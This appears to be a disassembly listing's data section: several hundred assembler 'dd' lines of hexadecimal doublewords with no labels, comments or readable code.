dd 8398BCC3h, 0A37DD11Dh, 4BF72580h, 77635F24h, 690C0FD4h
dd 59A037D6h, 9F5D4DB5h, 0BE958000h, 0A7C71857h, 1193609Eh
dd 0CE33D429h, 6E15A000h, 0C5A32AB3h, 2E489278h, 20EA049Fh
dd 42D401C0h, 17CBE451h, 0E7BAC457h, 0B774FD00h, 0F6DAAD09h
dd 0BCD00049h, 0D1640324h, 52072E30h, 892017ACh, 9BBD12E0h
dd 84881ED0h, 94983DFEh, 69926842h, 627C1900h, 540A912Bh
dd 2A170ACCh, 3B020F5h, 0B412DC08h, 6B86FCD0h, 0E5873700h
dd 5709187Ch, 55B20013h, 0AC044C61h, 1600B9A4h, 188BA1C7h
dd 2C91BCB4h, 164DCDFDh, 7D9E0075h, 0F7B72820h, 0CC87A50Ah
dd 0DE00B0AFh, 7AD389FFh, 7410C0D2h, 8D27AADDh, 0B0C59800h
dd 19A63809h, 9D6F0056h, 0C76ABCC1h, 40033DCh, 0A17A8BABh
dd 76607281h, 0A9D30065h, 94AF1B8h, 8500CA32h, 9CFAB579h
dd 8E0D90h, 3C7897E5h, 70CE982h, 0A66B5500h, 0C2F606ECh
dd 0F74801FEh, 1A52E009h, 0FC4F3068h, 6E098C77h, 434664h
dd 85791738h, 90150BC8h, 0B8802B07h, 66A5DA99h, 0FDD04100h
dd 51012F58h, 7454005Fh, 0F523EE95h, 0E6309846h, 20C1296Bh
dd 0B67E0015h, 17053803h, 0E30509F1h, 4C74063Eh, 1394D000h
dd 7BA161h, 0D7CE3B5Eh, 389791Ah, 0E72C591Eh, 9B522440h
dd 0D8C631h, 19EE06Eh, 0B1694957h, 9DE4931Ch, 5EA02E80h
dd 24F89A1Eh, 1CCCC63Dh, 9C1840C0h, 0E68E7D07h, 370095E8h
dd 19FE5EDh, 7FF0355h, 7CC7C331h, 3EE7C00Dh, 0E001B46Ch
dd 0B85BD6C9h, 9DD53A30h, 9088B820h, 0A55C00F1h, 677AFACEh
dd 310D1548h, 70D135D8h, 145836F0h, 0D8D613B7h, 0CFDE0F7Dh
dd 83012128h, 34E2C004h, 1A0E49C4h, 206094F3h, 0CE3CC548h
dd 0E7465027h, 0E8E424F1h, 0A8FA00E8h, 6F39E7C8h, 0EA2B3507h
dd 10E9BF2h, 345CE82Eh, 98B26020h, 8DD40008h, 47245445h
dd 25248E4Ah, 0E40098A7h, 8FE2BFDh, 0C55730F7h, 33E71698h
dd 80E5BF00h, 0D5DA62E6h, 0A9830090h, 0EB32E893h, 28FAB9C9h
dd 0A103B007h, 2D706249h, 18953E9h, 7629373Fh, 0D8DD27E8h
dd 1000F105h, 16CF99B7h, 0E6CBC78h, 0F4562FFEh, 778469A0h
dd 74024863h, 0C65BF294h, 4866E4h, 9BF8E5CFh, 781DE49h
dd 10A3938h, 0BE67216h, 98400CA9h, 7578F6AAh, 17090006h
dd 0D0CEA13Bh, 30006CE1h, 0CC8440BEh, 7E2F73Ah, 0BDBBA069h
dd 0D70E329h, 0B0BCA580h, 7B615400h, 0F701E9FEh, 55C81FB7h
dd 9F8740D8h, 3AF4AC71h, 17F2D8FBh, 33A65302h, 60AAFBD0h
dd 11221Fh, 0F89457FEh, 0AE3C95CEh, 9FC3F507h, 5D607E6Ah
dd 0F2EDE905h, 647C94h
dd 3ECB33C4h, 141E34BDh, 0C6E08C03h, 0E0620649h, 0AD43159h
dd 9D6BDE4Dh, 7E13F4h, 0F4BD13F5h, 2731E6B8h, 1EC61893h
dd 6003836h, 0C952D6F0h, 30005EEAh, 13329A64h, 37F187h
dd 0EDC63859h, 3F33B6CBh, 8B920C39h, 0A0EEFBA5h, 97A75318h
dd 23673888h, 596B7C00h, 57052B1h, 7E01C498h, 43BBD31Bh
dd 0DFD05DF3h, 0BFF602D8h, 3282E634h, 0C8779881h, 0A2A9C386h
dd 855E0D5h, 0D7663E00h, 0B749FF8Dh, 6F19069Fh, 79B201B4h
dd 0A411B30Eh, 0CB40FE5Dh, 39F17C64h, 0E057F2Dh, 0BE7FA2F3h
dd 7A80816Fh, 0B8DA6EB5h, 60A6D524h, 42F3B401h, 2860A908h
dd 64A0002Dh, 7EFC960Eh, 6702742Fh, 0E5AC13DDh, 0AD55C078h
dd 0E0F000C3h, 27B23F8Ch, 1E003AEBh, 0B5D3EE45h, 1956960Bh
dd 0AE92DD9Bh, 764CE008h, 0AF997528h, 908E1D00h, 0A5B669FAh
dd 0A22300F8h, 27A65B61h, 4C3D2975h, 0B56C8124h, 0BF760C06h
dd 0EDE096h, 0D3C74F64h, 6D033E1Bh, 6E17943Fh, 68809593h
dd 123BE3F2h, 3B9EB2Fh, 0BEDA9D98h, 91A7E000h, 1B1530F4h
dd 934917E1h, 0B1D84334h, 80AD4FF7h, 0F41DE318h, 0DDC73800h
dd 845A8FD6h, 334CBEh, 28D7378h, 465C73C5h, 8040A560h
dd 69099F32h, 8091C705h, 0CCC25F80h, 0B04CFC29h, 48D40B30h
dd 5F00F521h, 78AE94B3h, 2433E100h, 8473B874h, 0C37206ADh
dd 18E03B5Ch, 58C905Ch, 2B517A09h, 3230AAC0h, 5AA21716h
dd 49CB0C57h, 8C3A5DB8h, 0F0088041h, 621383B4h, 0C88662E8h
dd 3BE0804Dh, 3A0F6418h, 407B8FC4h, 8A8811A9h, 0BF7C5CB7h
dd 0FAE5500h, 19597739h, 0A687623Ah, 2400E65Dh, 0AA9412FFh
dd 0BA741220h, 57900036h, 0D59FC914h, 0C14F4400h, 3D0BBDE0h
dd 3E707Ah, 10E8619h, 8C7480CEh, 0F35E8800h, 76FB7F98h
dd 5AC53DACh, 0B0AD9Dh, 38C616CBh, 880FE675h, 37692CB5h
dd 0CFB8FC30h, 0BE081EC1h, 764287B2h, 0DB24A25Ah, 91D20440h
dd 4000FB74h, 0FCD30C6Ah, 0E0F3A9h, 0C83B5138h, 92CD8003h
dd 0B58DB209h, 7354008Eh, 0BA54BBA6h, 74090078h, 527B65Dh
dd 5124C193h, 0E80F20E1h, 5A8CE045h, 0F79434Eh, 9C5374D2h
dd 109291EEh, 7A00E7ACh, 0A91D7B13h, 0A35C59D8h, 0DA790074h
dd 8A37FCDDh, 0A5720E4Ah, 632087ACh, 7F6D88DEh, 73AB5602h
dd 43DC67C7h, 3F83C828h, 6E6906C0h, 607B4132h, 2B90D801h
dd 6FFB255Fh, 0AC03E4h, 978EDEB6h, 0A9C0C174h, 301870FFh
dd 2F0BA301h, 244BB725h, 108FF03Fh, 6D730E01h, 0B244D8F2h
dd 0A726D4h, 3482243Ch, 0B581A04Fh, 91BAF71Ch, 9AFB2DC1h
dd 0E4208A53h, 73380E4Ah, 9EC06E45h, 63FC3719h, 21411400h
dd 385D03A3h, 3AA9002Ch, 0ECF60D34h, 0F16E31Fh, 0B840BD76h
dd 18876977h, 60D8F4CCh, 71859821h, 914968BEh, 0EB1A00B8h
dd 7479D1A4h, 99B400CBh, 776AA066h, 51F84C1h, 0A83EE463h
dd 5E0B88F6h, 0E1CCD13h, 24552064h, 72F2BAh, 0DD1A61D6h
dd 196964F6h, 864AECE7h, 9706C778h, 4BFFDA67h, 8F100070h
dd 0CA500509h, 0E49A42ADh, 0D5481D00h, 81BA6BA2h, 0BE0F01FBh
dd 4C7A225Ah, 84B3F482h, 4F04BD00h, 0BAF96141h, 7CC20283h
dd 0F2D9648Eh, 319444E0h, 9C807EE5h, 168D67AAh, 6FDD0Fh
dd 0FD25019Fh, 784A2679h, 0EA168412h, 6DA11C00h, 1D22CBFAh
dd 0D9A846h, 0D887A447h, 0B604FDEAh, 9B202739h, 0E07FC4C2h
dd 2E10D7D6h, 0A78B24h, 9819211Ah, 0D30089F5h, 0C7ECF7D5h
dd 95BB010h, 96BB26D8h, 0B9E0AD80h, 0F400D7A5h, 6ED562F1h
dd 1FF565ECh, 80ADE119h, 16896C0Bh, 2A00ED0Fh, 75601A26h
dd 0DD8FABh, 0ADD9B558h, 1180B76Eh, 1B00F9EEh, 4BF30743h
dd 1DBA490h, 5C9B4EEFh, 0E8F07FE4h, 832441E7h, 0EE1304C6h
dd 703CD441h, 20D831DCh, 0E888009Eh, 0EE28C56Bh, 7A008346h
dd 239D97D3h, 16DB4139h, 0B81B61h, 9A30E050h, 340011AAh
dd 4D2DC6FFh, 5A36B03h, 0DF6EB0ECh, 9EB0C02Fh, 9F00519Bh
dd 384D017Fh, 41CBCAh, 5B9607D1h, 8522D732h, 0BD1F657Bh
dd 0C982138Fh, 0C0308EA1h, 1686004h, 3DEADC63h, 0DD9F096Bh
dd 0BAFBDC4Ah, 85D62800h, 0F30513A8h, 6E5F000Ch, 0F6C8F2DCh
dd 0ED7B15E8h, 8342263Bh, 772A568Ah, 701CB8DEh, 3EAC03AEh
dd 112E318Ch, 3740A8A0h, 2354F701h, 5DB1DC94h, 0F2704474h
dd 0EAAD00A7h, 954AF14Eh, 7A03B9C3h, 86DB3CE8h, 0EC110030h
dd 0D844E184h, 7C00678Ch, 4A667D21h, 57A1CDh, 0A4E8B6B8h
dd 0B385AFF9h, 83E37300h, 6BAFEDEh, 0D6F81D6Dh, 0A4E1402Ah
dd 9A2CF523h, 101FFD00h, 723B4770h, 0EB6F0744h, 804D2A5Ch
dd 7D871522h, 0BAC9A0Ch, 0F0A418EAh, 5B2C00AFh, 0D258B00Ah
dd 0F500EDCEh, 0EB074581h, 0B7049Ch, 0F8B14CADh, 0E297EC1h
dd 0E4615B00h, 0F38958C0h, 0CC30004h, 2E3AFD44h, 0CF00EB05h
dd 197963D3h, 7DF174h, 13BC5567h, 7E5E8058h, 0FA9DB20Bh
dd 9BEF809Ah, 0EF1A75h, 3901DC71h, 368316B7h, 0A3AAB50Eh
dd 15DFA190h, 44347957h, 8B2B80D6h, 245E0426h, 1053803Ah
dd 0B33A9E2h, 0EBD13A73h, 79652EF4h, 16FA01B8h, 20ABE268h
dd 84E643BCh, 0AE45EE00h, 0F0172477h, 591401DBh, 66D6887Ah
dd 8028B991h, 27BE13Ch, 0EC722Fh, 0F2F8B404h, 18D642EDh
dd 53BB7100h, 0FEC419ACh, 0F0B0DEh, 0F717CD01h, 0EA949DE5h
dd 8B72DC00h, 0CC79AE93h, 8F071218h, 6E7004AFh, 902684D4h
dd 9A3D5A70h, 5D7E72F0h, 13006173h, 0E4EF2921h, 0CF7AEBh
dd 0E00FBCC0h, 8F6DDB67h, 81B5DE00h, 6B4D90EEh, 0EE4EF636h
dd 37BF0061h, 7FEFF991h, 0FE005EA5h, 8FADCFCDh, 0B08E71h
dd 28520355h, 1785BFC9h, 0C3E43302h, 0C00E39B8h, 7F40C8h
dd 0F88F4790h, 0CB912394h, 7E1B1D3Ch, 5B7039h, 0A9D662E4h
dd 0DF727Dh, 3DDC01D7h, 273816BEh, 0FF8B9A00h, 300EA36Ch
dd 91B807D9h, 50B0738Ah, 0AD4DB3ECh, 0FF09700h, 5A9B28E7h
dd 0BD6F13F9h, 0E268C041h, 7C04B470h, 94406C46h, 0DD3FB280h
dd 0B89F0B79h, 14054E89h, 8494848Bh, 683CD728h, 9B79942Ah
dd 0B70968B8h, 813ABCDAh, 0C9339C00h, 0B3D3CC0h, 0ACBB5077h
dd 0FE946480h, 0EE0F3FE2h, 2482932h, 4035210Dh, 137EF234h
dd 0B24E50h, 560A932Ch, 0DA006648h, 398F668h, 5CA254h
dd 73A83158h, 0B8A40106h, 6D0028E4h, 9AEF1974h, 4B1B0C3h
dd 0A02FCF7Fh, 7E488742h, 7C15E900h, 130020BFh, 0CEC50969h
dd 0F3A8F91h, 0C93FB4D0h, 0E615A280h, 0DE2CE402h, 0B713B83Bh
dd 34422201h, 40EE52DAh, 121FF554h, 0EF8406h, 18B3672Ch
dd 0A800CA8Dh, 0FF1DF265h, 84C826h, 0D0277F69h, 8BD4E294h
dd 313ACD01h, 782E14A2h, 75FF4680h, 0C441ECA5h, 6F79A00h
dd 279F92Bh, 1B3FEA2h, 0B78F281Dh, 0F46C7B11h, 8D0F2C24h
dd 0C24BD18Bh, 60BDC0A0h, 8039BBh, 83AFB9DEh, 150CAD78h
dd 26A77E00h, 5E728209h, 89403FBEh, 0BAAA4107h, 80F43466h
dd 6E09AF17h, 464E48h, 535690B5h, 551298Fh, 43D16096h
dd 1CF80047h, 5C19ED8Bh, 0B6B1C600h, 21E5931Eh, 86C10084h
dd 0FF9D564Fh, 5E0EAA33h, 60081626h, 0C020AF64h, 6D1B005Fh
dd 2FC67325h, 0C20BE039h, 1FC4570h, 20B828FCh, 0F413446Ch
dd 830900D3h, 0ABC0C223h, 7383148h, 0A033CED1h, 6F611420h
dd 3B2739C8h, 700F00F2h, 21D5F366h, 8739B1CAh, 0FF9B83D6h
dd 0C8520BA0h, 168C8DBh
dd 55089947h, 0E0AE86AAh, 20B818D3h, 1A943260h, 0F78F3h
dd 0FE74D24Fh, 993DF1C4h, 0E934D500h, 0EF2B1AB1h, 32DE00A9h
dd 0FE479CA0h, 0C0C0DDCCh, 69F786AFh, 241598BFh, 3A1C2A5Bh
dd 318A18E1h, 0CAFC6073h, 0E1182D6Fh, 2172B67Eh, 3FF44021h
dd 99EB0031h, 8A3556F7h, 160C23FBh, 115FEF30h, 3CE7031Eh
dd 0B321B0DFh, 0E0F00FCBh, 0D600F977h, 0CE407BFh, 4A7DDCEh
dd 3A691EDh, 22EC80C3h, 0FF0023DEh, 261BE405h, 0BA5CB1h
dd 0FA446EBDh, 63102F92h, 1E290C00h, 0D4EB6C68h, 789CC4h
dd 8071C4Bh, 0A090B741h, 0D40D20E5h, 479F9601h, 0ED9757BFh
dd 170CE0h, 9462D71Ah, 0B1D56453h, 0F0FCA0FCh, 349BA500h
dd 9AF60318h, 62146372h, 9990A8F4h, 8008411h, 8E693DDEh
dd 6A0A23h, 0C39039ABh, 32980FAh, 4EF3AA07h, 5CE30801h
dd 0D9ABF347h, 53F004F2h, 84B0001Fh, 72631679h, 710A9BCFh
dd 0A1D4DDEBh, 4E2E0800h, 5011325h, 0AC417F94h, 4A8C00C2h
dd 0BC0033Bh, 0FAC46D01h, 87B1355h, 0B3E9E4h, 752978A7h
dd 0DD103A0Ah, 5E4B3600h, 9C039D8Bh, 542F00C2h, 1E756C43h
dd 5A008DABh, 17EB0B49h, 16FD2057h, 4028F9C5h, 0B54DF79Ch
dd 64090269h, 80D5EB4Bh, 68879234h, 0A7950048h, 0D9D2133Ch
dd 0DD07819Ah, 3D35855Fh, 0F9E2401Fh, 13DC588Eh, 7AF2A25h
dd 408DB0h, 0E452A6DFh, 0C5B4631Dh, 180043D3h, 26475DDCh
dd 0F99609B3h, 10004169h, 87B7D960h, 0D1390A00h, 7ECE0EB4h
dd 9030F653h, 0EFA9000Ah, 93B370ACh, 0C7047F09h, 221E2867h
dd 62CA8B0h, 0F0DFFF78h, 6F7050A7h, 0D91A3301h, 19293747h
dd 0B0D108D0h, 0ACBC00A4h, 8E5B0A3Fh, 66000C2Fh, 0FF6768CBh
dd 9C08022Ah, 0AFF000B4h, 0EA3025E9h, 0F3628E00h, 283DD1A7h
dd 8B8200F5h, 0AF262019h, 0C053A1Dh, 0B662AC5Ah, 282F98B4h
dd 19841A1h, 2E51A2E3h, 2008F945h, 120974C4h, 0A2D061B4h
dd 78A99CE8h, 35290F44h, 0C4E94443h, 1245E820h, 36004CB5h
dd 0EF484EA8h, 7D77F44Dh, 0A098495Bh, 7275E00h, 0D8780FDCh
dd 1F49961Ch, 6680C45Eh, 54C93C7h, 61D61C19h, 0BC4B809Ah
dd 0F7918F31h, 0AC66E700h, 5970D5C9h, 21030292h, 0F876BCC7h
dd 79D41440h, 658CB900h, 6488DDD0h, 55E8BDh, 70AF4B27h
dd 32C981B6h, 18264C00h, 10943044h, 3EAC0934h, 242FA915h
dd 7D61928Eh, 20DFB5BFh, 60B64510h, 4C00D116h, 2B76F60Eh
dd 3B6301BFh, 271ECB17h, 9CE0C6F0h, 1902231Fh, 969DA6C6h
dd 6E6CC086h, 0F51130A9h, 1BB97D20h, 0D1C5FC01h, 4CB7EA1Dh
dd 0E7677C4h, 6C25BD85h, 99ED02C2h, 0D81AB8C1h, 6F001126h
dd 225ACA14h, 0B3DCB84h, 0A3E7BDD7h, 0C7753C60h, 0C381802h
dd 0C4216DC0h, 0D0D66004h, 0D060828h, 0E8F49E28h, 0C151FF07h
dd 0E6D0D32Eh, 0C01C58h, 871F6980h, 27788430h, 10249C76h
dd 6E048CB4h, 4EC019E0h, 26F55Bh, 0A0172C49h, 2F243D78h
dd 0BFEF279h, 8FDF802h, 60C07939h, 15E9954h, 2AE4C4D6h
dd 747D4EA3h, 3B01F48Ch, 80405709h, 8430ACC6h, 0E35B00B3h
dd 3E2FB111h, 90760D47h, 9AFF5100h, 0AFD228FEh, 0D34903D7h
dd 0E4739EDAh, 0CAADC8C8h, 0BCD06907h, 25A781B7h, 49FE6510h
dd 325FA3h, 196821F8h, 6B01B364h, 4D0D7C02h, 7F20FEBCh
dd 0B186056Dh, 80384BDDh, 49A2DBDDh, 732B7E00h, 29149D71h
dd 28CA007Fh, 0B2C6DDA5h, 0E6127D64h, 0E4A09B78h, 2C2E0759h
dd 0D3CEBBh, 55B24012h, 7006A872h, 22D4DFEEh, 20D80038h
dd 0E385444Dh, 9F00E909h, 0CA1831DBh, 2693548Dh, 18B5ED15h
dd 57964045h, 6FDEFC14h, 9CA500E0h, 4B8E39E7h, 8ED58C4h
dd 0B26D5F0Bh, 0E4E0B409h, 0D30035AAh, 0E26A65BCh, 7C377657h
dd 0ACAB1F01h, 0FC817902h, 7CFDEFADh, 94F8964Dh, 468A5CC0h
dd 0AE0A002Ch, 2F018B4Eh, 9E002493h, 265BC9BFh, 155B0C5h
dd 7E282752h, 0DEB8DAF1h, 225718C0h, 87C8CD39h, 0BCB1EC68h
dd 0F80C21E0h, 907907E0h, 91B61606h, 30308A4Eh, 0A23BAEDCh
dd 65ED828Bh, 6AA74F53h, 25F85038h, 4800D854h, 16CC4DABh
dd 0F8D6D00h, 0C1F4115Ch, 8844191Bh, 893C790Ch, 401410h
dd 3D7CFB20h, 0DDF409AEh, 50A0341Eh, 0F73A4786h, 14097A5Fh
dd 20FCE484h, 0B5023648h, 0FDD968E1h, 17D04032h, 0D7F1FBDAh
dd 0EE8AC4h, 0EF3E3854h, 83F7DEF9h, 0F4600416h, 3DE94448h
dd 6E7133B0h, 0BCF2794Fh, 0FB169100h, 0E3F3B48h, 0B25A0B37h
dd 9C014BCDh, 0D6A8B3ACh, 31EF0C40h, 0DFAAEE00h, 7422A733h
dd 57323FBAh, 23E89800h, 56DB862Dh, 0F3AB9103h, 0D8857E21h
dd 0C0D61C63h, 84B8340h, 0F000E01Eh, 0AAD28C93h, 0A7C95Ch
dd 9925FE54h, 0F6CD8615h, 0E1197C01h, 0F77045D3h, 25CE3080h
dd 0C5710E8h, 0BD4C8CBAh, 4C8C5870h, 0F3E9001Dh, 0FAFE159Ah
dd 0D08200B1h, 7E95C1A3h, 6300FC44h, 0C9F04610h, 0B42624BAh
dd 757880ECh, 880B3A6Eh, 205FEC00h, 7DE865C4h, 0AB3D01A8h
dd 750FE68Ch, 0BE16C0E9h, 9A57790Ah, 9E00A837h, 78FDC4F2h
dd 3F030035h, 0D5DCEA95h, 0A003C20h, 26F88B04h, 0BDA6CBh
dd 9D7D0793h, 0C4214FDFh, 94089000h, 3246DC98h, 4B4304DDh
dd 80BA24B5h, 6D8CEB10h, 98F4AC24h, 65AD7C05h, 1E6998E0h
dd 0CFC91D85h, 0D66E7817h, 0C0135EE1h, 0F38EE8A9h, 7D4CECE3h
dd 0AA5C2700h, 507170A0h, 0FC97004Eh, 529B9F51h, 0DF037477h
dd 3E2E0C79h, 0D904F024h, 0D56F01ADh, 0AC9C6ADCh, 281DC4A9h
dd 952BBB00h, 6FD91973h, 0A8FE0471h, 0A5F25DC8h, 0FC42E250h
dd 486B50E0h, 42070C90h, 0CD9D725h, 0A931570h, 191B2659h
dd 0BD100518h, 5DFD13A6h, 77407054h, 810EBB63h, 82951949h
dd 60309C46h, 7761A0A2h, 0BCFC4844h, 0F5DA121Ch, 0A4100090h
dd 2DF41C4Ch, 55B9CB01h, 32A10E98h, 792420h, 0F0E3F5C9h
dd 9165821Fh, 0AEEA191Ch, 6DE23E80h, 814A4Bh, 92C596E8h
dd 0AC551889h, 4D160300h, 131714BBh, 0E1F82Eh, 9BA85778h
dd 1C1AC7C9h, 5E9DDB00h, 0A2103987h, 896900A7h, 90BFA171h
dd 0F036C47h, 5B04547Dh, 0E6007F8h, 0C0ACD797h, 61A8E486h
dd 0FE1D427Bh, 0B380332Eh, 8726716h, 0EFA007F5h, 0C477DCF6h
dd 56DC93AEh, 6C906FB8h, 0C0182801h, 82CB5397h, 5DAD4170h
dd 24580491h, 8400FD3Eh, 0B9C401Dh, 730E6289h, 0C0705E29h
dd 0DA016C10h, 9A7D7BFAh, 0EF060258h, 0D67577FCh, 71030880h
dd 2B016B5Ah, 0AC200268h, 8880527Dh, 969C223Fh, 1818DB3Eh
dd 4DA1CF09h, 0C4330ED3h, 0CD671A86h, 57D4EB6h, 0D3FCB7E1h
dd 0F99898F8h, 115CB33Ah, 79B11DE6h, 41E42E00h, 7C0734CBh
dd 0F3F661h, 0E3897C49h, 3CFA4D69h, 3AC6C218h, 7C8FC068h
dd 743100DBh, 1A9EC830h, 0E010CA7Eh, 20DC6DB7h, 809B5940h
dd 850197Dh, 5200DF58h, 94C73D68h, 3EA138h, 677E18D8h
dd 10C5931Bh, 0BA77C31Ch, 40322340h, 4FDD03h, 0C0F774ECh
dd 8AE27CF4h, 9D725C00h, 0BD30624h, 27AB0FD0h, 0FCA7F762h
dd 0AC97604Ah, 0C372963Ah, 2EDA6E00h, 148DE530h, 0C94600A8h
dd 0C1817E58h, 7D00FB5Ch, 0D492F233h, 0D59F2Bh, 5A5EE1F6h
dd 0EBCBDFE8h, 6ADEED00h, 48978AF0h, 6BF274h, 92E2403Dh
dd 35DC6184h, 4B0067E2h, 3B2B19EDh, 0E85B7CDh, 0A25CD35Dh
dd 0ABFA26C0h, 12073723h, 93C862D2h, 0C1E17B80h, 217F00E4h
dd 8B1559F1h, 2805C25Eh
dd 31FF9398h, 0D616BC40h, 38F8903h, 0B7CC68C3h, 2BA36973h
dd 7E70211Ch, 514B5B02h, 0DBC4A04Ah, 2C6BF3h, 92C1D750h
dd 0F8B33F4Fh, 34006EB8h, 1075D6B1h, 1819478Dh, 1849F4BAh
dd 0C70CB5A4h, 494B5136h, 29710093h, 3D5CDB61h, 0C2017F74h
dd 0B756BDF5h, 413E322Bh, 0C7113C10h, 0C123F33Fh, 3C10092h
dd 696B8F6Eh, 77244486h, 404CC0F7h, 2B6AB306h, 0C48AE9Bh
dd 0C10A0CDDh, 0C70CAB68h, 7140506Bh, 0F18B0265h, 1A46CDC5h
dd 988E5441h, 86215408h, 2AF11D72h, 6AD00E1h, 26051E32h
dd 0ABC14406h, 7AF06FF8h, 0CAC40407h, 8088FF7Dh, 32027AE5h
dd 13E6470Bh, 533701D9h, 0E7D4A4D2h, 604B1EEAh, 7F2180ABh
dd 3FEFC92Eh, 138D6B01h, 0DB895631h, 7B98D8h, 0E151F15Ch
dd 0A8ECA325h, 6527FB0Ah, 900086CBh, 70E817E0h, 87120379h
dd 0D3305702h, 1BDB5C80h, 368F3E09h, 855D8092h, 21A456Ah
dd 0B9742C12h, 8C07040h, 0E40041C0h, 923BBC1Fh, 0C77CD6h
dd 6ACA3029h, 839E5F5Eh, 0F7310900h, 104F0646h, 1D0D0705h
dd 93EF3Dh, 82DFBD9Fh, 0A7306E00h, 413C70Fh, 1F8A7C88h
dd 1776928h, 5EA1B2C2h, 3611D02Fh, 0D1EA1C02h, 0C1CEA091h
dd 998CF9Bh, 0E2FC2104h, 29DED100h, 0EB8F47D8h, 0C5FA260Ah
dd 93F3AADh, 7DE74980h, 0C20BBF2Eh, 6038D06Eh, 58865ACFh
dd 770F068Bh, 50883B29h, 3FB23C1Dh, 85ADD0Ah, 6EEFF100h
dd 7EA8BE5h, 0F2928E0Dh, 21584F28h, 80ECE750h, 6F7C9A00h
dd 25D8BF0Dh, 4B290B26h, 73800765h, 0E611D456h, 598D6930h
dd 3779A92h, 12A63BFAh, 9303349h, 0A2F221BFh, 0E88B0177h
dd 8C60A51Eh, 0A0905276h, 7AD1E530h, 22E646EEh, 0FDED0113h
dd 0F59934D1h, 9AA0F86Eh, 8A78FC18h, 30854B90h, 35A04393h
dd 3E015ED2h, 5D3484A1h, 0CAE43DB7h, 0B5773F7Ah, 4B5FF280h
dd 95390DDEh, 0AF59200h, 1AAC6090h, 0A2D7083h, 1042A014h
dd 0E09F7004h, 9107710Ch, 6ECB1990h, 0F8A02168h, 0B9630C0h
dd 7AD00500h, 0F446F5D9h, 94541785h, 40361C37h, 0AA611817h
dd 0D1E26D42h, 67E5FA00h, 8010409Fh, 0B372039Bh, 65F9E09Eh
dd 990078CEh, 4D302F90h, 0EDB1712h, 409D7EF6h, 9B4837C0h
dd 0E3F53883h, 96A02001h, 0FB41A44Fh, 8511204Eh, 0BAA8072h
dd 0C0034B5Ah, 919A70E9h, 971D9998h, 0A799468Ch, 218F4E08h
dd 5340A25Eh, 0D3194301h, 0C0776130h, 0A9AA0DEDh, 54EC1D8Ch
dd 32D0370h, 45CFE08Bh, 0CC02807Fh, 6E985E36h, 0D3A88058h
dd 0A4C8A334h, 0DCFAA4h, 24D57E2Fh, 0D3B7B83Dh, 0C7957514h
dd 99BA80C4h, 609DEB19h, 0C08B786Ch, 60C1588Eh, 59F5DA2Bh
dd 1C831880h, 9A9C51A0h, 1715E0A8h, 0C066D328h, 0B88BA606h
dd 6584374h, 0DEFF995h, 7A0BC1ADh, 0CEB5C2h, 0FF9F4D40h
dd 38016026h, 957B0B98h, 912CC633h, 161CE39h, 0B901217Eh
dd 0DC91BEB5h, 3D00297Dh, 0A14EF598h, 609B8979h, 6D19A85Fh
dd 804C0191h, 7EA60066h, 97E09903h, 0A120C035h, 1FECB214h
dd 64790760h, 0E63AD2Dh, 0A03DB373h, 40673884h, 89065BF4h
dd 19547AECh, 86C951Ch, 5521806Eh, 32790653h, 38DB7476h
dd 9D098C46h, 4C0FAAD0h, 8910E4F4h, 0BAB8001Dh, 95095514h
dd 256604ACh, 814CB20Fh, 6AAF24h, 0F501D7A5h, 3038309Eh
dd 0DCC93769h, 6435CF00h, 46168BA1h, 0E9D79E8h, 0CE1E5921h
dd 498FD160h, 714F2A5h, 0CEC05195h, 622F23EEh, 0C6F05865h
dd 30751100h, 22ED21Eh, 3218196Fh, 0C0505808h, 999A913Ch
dd 4822A746h, 0A4503Dh, 693E7A74h, 37CDBE32h, 108D333h
dd 80103853h, 0D93678C1h, 0B0419B98h, 8E49C995h, 0BE423800h
dd 0EB00A19Eh, 0CDACF05Ch, 98953C13h, 7469D46Fh, 90475714h
dd 0E49085A0h, 60489C3Eh, 0EAD3C3F9h, 7D41009Dh, 0E6321E5Bh
dd 0ED3EF8BCh, 0E87C302Fh, 0C9609151h, 38900D99h, 9F005424h
dd 804EFA2Ah, 0FC185E65h, 9B301D3Ah, 3C399810h, 0A5B8A57Ah
dd 1C80476Ah, 4E08A468h, 2BC2276h, 389D29A0h, 648F3074h
dd 0E3E7ED81h, 9DC4531Ch, 81379AE1h, 303FD9A9h, 419D4131h
dd 11E024D4h, 0DC622E40h, 94F44400h, 0A9C3AC47h, 21805A98h
dd 35268FA9h, 1C09D285h, 138B519Ch, 5601D64h, 0E519090Bh
dd 76D66C82h, 0B511E42Ah, 77243E3Ch, 647C380h, 6534ECF8h
dd 51634486h, 0DD065F04h, 4C81AFF8h, 0C424AB90h, 8D411236h
dd 80442003h, 980FC39Fh, 267CAD2Bh, 54088523h, 16FC087h
dd 13B6C370h, 0CCF326D1h, 2F12469Eh, 590AE917h, 9F0E948Eh
dd 0DD52EC0h, 7041108Dh, 0B1A89AC7h, 6E3B20A4h, 0DD20EA7Ch
dd 2B8E386Ch, 16E9FA89h, 5C0BAC24h, 0F4210600h, 1225CE7h
dd 299E232Ch, 30781DD2h, 49042464h, 146CB8ACh, 0E0D51CC0h
dd 0F01C03CEh, 0A37AE5DAh, 58EE823h, 0C499C398h, 9B74228Bh
dd 0C3716A20h, 2DD40066h, 5240EE3Bh, 91C1119Dh, 62FF1F9Fh
dd 10211020h, 38864ADh, 92DD2F89h, 0C82E4FCh, 26B630A2h
dd 6CF44508h, 405964F0h, 0DF268E80h, 953B0C36h, 0B91976CBh
dd 9D90083Ch, 8080B6A2h, 1824170Eh, 5BD928B3h, 0A4E294h
dd 0B41D15Eh, 0EC886573h, 8B185C98h, 0A0D1CB04h, 8B60163h
dd 888591AFh, 47FE7Bh, 128031CFh, 0B0396A9Eh, 1379C98h
dd 8339890Ah, 23F00410h, 7D03B358h, 0A42BAEC3h, 11209A62h
dd 0AC376h, 0D0DA376Ah, 3E506626h, 0A1A4AC50h, 0B8B57F8Ch
dd 0B0A4492Ch, 87802488h, 0CF8C268Dh, 5AA80B69h, 8500A498h
dd 16972F2Ah, 5791130Ah, 4300878Ch, 0E0ADE821h, 7BE0A0ABh
dd 105E26FFh, 62909D40h, 7D283A00h, 0CC4ABA11h, 5F2300C2h
dd 0E231C022h, 9E19DCFDh, 0CD3953E7h, 39B9D43h, 5D256750h
dd 5A97E16Bh, 342303B8h, 584C15E8h, 5B1B1088h, 0BD072004h
dd 70DC83D2h, 0B8A2C826h, 2ACED000h, 2B97819h, 0B6E7E6B8h
dd 34E05960h, 0A9559007h, 40B801B0h, 89A0C0Ch, 852B33C3h
dd 60409FC4h, 0A5B7C373h, 540136E6h, 0E69B07F5h, 30608AEDh
dd 0AE048C5Eh, 0B7996491h, 2F2E7462h, 604C4EB6h, 0FE4B10C3h
